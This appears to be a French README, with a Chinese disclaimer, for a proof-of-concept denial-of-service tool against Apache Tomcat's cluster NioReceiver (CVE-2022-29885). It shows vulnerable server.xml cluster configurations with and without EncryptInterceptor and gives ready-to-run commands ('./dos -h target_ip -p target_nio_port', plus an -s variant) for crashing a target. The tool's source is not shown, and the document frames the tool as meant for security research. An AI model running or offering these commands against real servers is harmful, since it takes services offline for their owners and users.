CVE-2022-29885

L'outil est uniquement destiné à la recherche en sécurité. Il est interdit d'utiliser l'outil pour lancer des attaques illégales, et l'utilisateur est responsable des conséquences

工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责

Introduction

Exploitation Apache Tomcat DoS (CVE-2022-29885)

Déni de service dans EncryptInterceptor (Cluster Tomcat)

La machine cible doit démarrer le Cluster Nio Receiver. L'envoi d'un paquet TCP spécial provoquera un déni de service sur la cible. Que EncryptInterceptor soit utilisé ou non, il existe la possibilité d'une vulnérabilité de déni de service.

Condition : activer la fonction cluster de Tomcat et utiliser NioReceiver pour la communication

Toute version de Tomcat sera affectée. La seule solution est d'utiliser un réseau de confiance

Exploitation en configuration non sécurisée

Configuration non sécurisée : ne pas utiliser EncryptInterceptor

server.xml

<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">
  <Channel className="org.apache.catalina.tribes.group.GroupChannel">
    <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
      address="0.0.0.0"
      port="5000"
      selectorTimeout="100"
      maxThreads="6"/>
  </Channel>
</Cluster>

exploitation : ./dos -h target_ip -p target_nio_port

En configuration non sécurisée, vous pouvez également utiliser Safe-Config-Exploit

Mais en configuration sécurisée, vous ne pouvez utiliser que Safe-Config-Exploit

Exploitation en configuration sécurisée

Configuration sécurisée : utiliser EncryptInterceptor

server.xml

<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">
  <Channel className="org.apache.catalina.tribes.group.GroupChannel">
    <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
      address="0.0.0.0"
      port="5000"
      selectorTimeout="100"
      maxThreads="6"/>
    <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
       encryptionAlgorithm="AES/CBC/PKCS5Padding"
       encryptionKey="ANY_KEY(LENGTH:32)"/>
  </Channel>
</Cluster>

exploitation : ./dos -h target_ip -p target_nio_port -s

Référence

https://lists.apache.org/thread/2b4qmhbcyqvc7dyfpjyx54c03x65vhcv